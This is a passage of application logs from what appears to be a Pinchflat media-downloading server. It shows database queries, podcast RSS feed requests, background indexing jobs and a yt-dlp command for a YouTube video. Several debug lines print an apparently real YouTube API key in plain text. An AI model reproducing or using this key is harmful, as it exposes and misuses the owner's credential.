s0 WHERE (s0."uuid" = ?) ["72002b34-c043-42e8-84e7-d0b43eaebbef"] 17:35:58.202 [debug] QUERY OK source="media_items" db=12.6ms idle=842.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [7, 2000] 17:35:58.254 [debug] QUERY OK source="source_metadata" db=0.1ms idle=907.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [7] 17:35:58.254 [debug] QUERY OK source="media_metadata" db=0.0ms idle=907.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577911] 17:35:58.259 [info] Sent 200 in 70ms 17:36:00.462 [info] {"source":"oban","duration":188,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:36:16.527 [info] {"source":"oban","duration":9781,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:30.031 [info] {"args":{"id":42},"id":5268476,"meta":{},"system_time":1791585390031119450,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:36:30.031 [debug] QUERY OK source="sources" db=0.1ms idle=1007.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [42] 17:36:30.032 [debug] QUERY OK source="settings" db=0.7ms idle=684.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:30.032 [debug] QUERY OK source="media_profiles" db=0.1ms idle=685.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:36:30.032 [debug] QUERY OK source="settings" db=0.3ms idle=7.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:30.033 [debug] Fetching recent media IDs from YouTube API for playlist: UUWKveACEz1euuOk5eyzzvTg 17:36:30.033 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:30.033 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:36:30.120 [debug] QUERY OK source="media_items" db=0.2ms idle=88.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?)) [42, "eF6hxEXwgso", "Wzir-lrTI9A", "JAvHibORZ50", "yHFjcHZ1cN0", "NaDPMZKXcBU", "ArxhS4SQaP0", "KTlRBI2QCzM", "pcPzmDePH3E", "umQ39BhcyMM", "UCI7N70tNRE"] 17:36:30.120 [debug] QUERY OK source="settings" db=0.0ms idle=88.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:30.120 [debug] QUERY OK source="settings" db=0.0ms idle=88.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:30.120 [debug] Running yt-dlp command for action: get_media_attributes 17:36:30.121 [debug] QUERY OK source="settings" db=0.0ms idle=88.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:30.121 [debug] QUERY OK source="settings" db=0.0ms idle=87.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:30.121 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:36:30.121 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=Wzir-lrTI9A --simulate --skip-download --output /downloads/Tick Talk w/ Eric Migicovsky/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/b2/a7/b2a71f9efc47598f9ae20acf8a8edc0c0c0d6339ef7c98697f576ebc984fc6b7.json --sleep-requests 77 --sleep-interval 64 --sleep-subtitles 77 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:36:46.537 [info] {"source":"oban","duration":9981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:36:51.540 [info] GET /sources/c299bcbc-8900-4aab-a003-f3e99352d063/feed.xml 17:36:51.540 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "c299bcbc-8900-4aab-a003-f3e99352d063"} Pipelines: [:maybe_basic_auth] 17:36:51.540 [debug] QUERY OK source="sources" db=0.1ms idle=1193.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["c299bcbc-8900-4aab-a003-f3e99352d063"] 17:36:51.561 [debug] QUERY OK source="media_items" db=20.9ms idle=493.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 17:36:51.620 [debug] QUERY OK source="source_metadata" db=0.1ms idle=272.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 17:36:51.620 [debug] QUERY OK source="media_metadata" db=0.0ms idle=273.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577899] 17:36:51.627 [info] Sent 200 in 86ms 17:36:54.701 [info] GET /sources/16b58d74-5ec6-42de-be76-95f451d88dd3/feed.xml 17:36:54.701 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "16b58d74-5ec6-42de-be76-95f451d88dd3"} Pipelines: [:maybe_basic_auth] 17:36:54.701 [debug] QUERY OK source="sources" db=0.1ms idle=1354.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["16b58d74-5ec6-42de-be76-95f451d88dd3"] 17:36:54.712 [debug] QUERY OK source="media_items" db=10.8ms idle=1354.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [6, 2000] 17:36:54.750 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1403.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [6] 17:36:54.750 [debug] QUERY OK source="media_metadata" db=0.0ms idle=1403.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577894] 17:36:54.753 [info] Sent 200 in 52ms 17:37:00.463 [info] {"source":"oban","duration":143,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:37:16.546 [info] {"source":"oban","duration":7430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":1} 17:37:32.095 [info] {"args":{"id":36},"id":5268477,"meta":{},"system_time":1791585452095207228,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:32.095 [debug] QUERY OK source="sources" db=0.1ms idle=1748.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [36] 17:37:32.095 [debug] QUERY OK source="settings" db=0.1ms idle=1748.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:32.096 [debug] QUERY OK source="media_profiles" db=0.9ms idle=1007.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:32.096 [debug] QUERY OK source="settings" db=0.0ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:32.096 [debug] Fetching recent media IDs from YouTube API for playlist: UUEcrRXW3oEYfUctetZTAWLw 17:37:32.096 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:32.096 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:32.293 [debug] QUERY OK source="media_items" db=0.5ms idle=197.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [36, "cvQ4mt95VD4", "nNl03lyJ0DY", "doFGXubmSDU", "qjCKMW5MmtI", "WJ4paCmvxRw", "UD9X5WxZ5nE", "s1khuVEDnpg", "s1F2wfUZYZQ", "Jm-6iviCl3k", "sz2u186BFek", "7iDmAl3xAIs", "jmrg7j5mhAc", "vWQ4T6rSI8I", "3xDmL9wrWHA", "EDe71YWP1PQ", "D1oCndkYDrU", "TRdwyWoFN2U", "cwXDjO_7tG0", "fPultyYlb-E", "PtCMsXYAPyc", "WVsG3daysEM", "NofmSGPCDr4", "63m_fsOE-eQ", "HC_kIVdg5CE", "YgMNE4C89EQ", "JrysfjSZRns", "MwllurO2M-Y", "G-2bgFvizNk", "gAiLAJ6jlbE", "voXclnaYIaE", "1YO2_PLGP-M", "GRH-Z7onr8k", "N36yb-X1LN0", "lW4DtROF2K4", "5WOfbrrmwYE", "Vwh9SpgU5UM", "pF7flwZJgLA", "BA-CE2hAIeY", "I0PX9qghK1M", "2Ft0NWeznB4", "dXHIMEH0tTo", "wWg_-RXVh2A", "kJC1l4__UhE", "pFiRYgvg69E", "Kf-67zxoUlw", "cDSiCPt2pKM", "fPOCtxWsBYs", "RYok1AdumBU", "YB_dhxAtTjU", ...] 17:37:32.295 [debug] QUERY OK source="media_items" db=0.8ms idle=198.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 17:37:32.296 [debug] QUERY OK source="tasks" db=0.1ms idle=198.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268516, 36, ~U[2026-10-09 22:37:32Z], ~U[2026-10-09 22:37:32Z]] 17:37:32.296 [info] {"args":{"id":36},"id":5268477,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":200841,"event":"job:stop","queue_time":374641,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:33.097 [info] {"args":{"id":2},"id":5268478,"meta":{},"system_time":1791585453097195333,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:33.097 [debug] QUERY OK source="sources" db=0.1ms idle=801.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 17:37:33.097 [debug] QUERY OK source="settings" db=0.1ms idle=801.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:33.097 [debug] QUERY OK source="media_profiles" db=0.1ms idle=795.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:37:33.098 [debug] QUERY OK source="settings" db=0.1ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:33.098 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 17:37:33.098 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:37:33.098 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:37:33.342 [debug] QUERY OK source="media_items" db=0.6ms idle=244.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "dP91f2ZTcVo", "z8AtW0ufLuA", "NP7wz4bND3U", "ZF-AafvQZGI", "s3SdFYtRQB4", "9gxqJja_Uw8", "mQ4GG4As-so", "A2wtNp7A_pM", "PT8Iaeoah0A", "geN1VEZF1T0", "uzgWSN1aLt4", "aP68kBQDX2I", "6HcPlK1loWo", "NRhDHqEaXHc", "ijAISVpMIrs", "Dznsr0KN1XU", "2q5x8pdLRpo", "Olwjkt1QNTk", "MW_9s3Y_urI", "yYfActSoDbY", "u8R-bnz1MPU", "JmyepGMyt64", "42noFFM17NE", "AyaRzcapkZ0", "JOMaYjU4Gnw", "JivF-DgpiAE", "hgDGfh74pbw", "_YCDCBtjxrk", "alElfDsk9G8", "P5WzhbRbWKQ", "vVMZuSF7n24", "a2hhtkbcbtU", "MfwD2C4bvN0", "2qlV1KN_67Q", "m1PMTAEeywI", "BsWMWSI1uj4", "fgqKGIiP0SI", "WbO5wGNlrvk", "ezRmgQFaOc0", "WmzphlOwku8", "arA6Q45qTz0", "OpruRLLJC8Y", "R_bsecuV1OM", "w3E_LIeL4gY", "vI_aUzOCM9E", "lIHKjltoDvU", "jeW6dAHq2bQ", "Dwhvzwv7nTc", "zbqZ-0puJjg", ...] 17:37:33.345 [debug] QUERY OK source="media_items" db=2.6ms idle=245.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 17:37:33.346 [debug] QUERY OK source="tasks" db=0.1ms idle=247.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268517, 2, ~U[2026-10-09 22:37:33Z], ~U[2026-10-09 22:37:33Z]] 17:37:33.346 [info] {"args":{"id":2},"id":5268478,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":249323,"event":"job:stop","queue_time":248508,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:34.098 [info] {"args":{"id":22},"id":5268479,"meta":{},"system_time":1791585454098226723,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:37:34.098 [debug] QUERY OK source="sources" db=0.1ms idle=751.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 17:37:34.098 [debug] QUERY OK source="settings" db=0.1ms 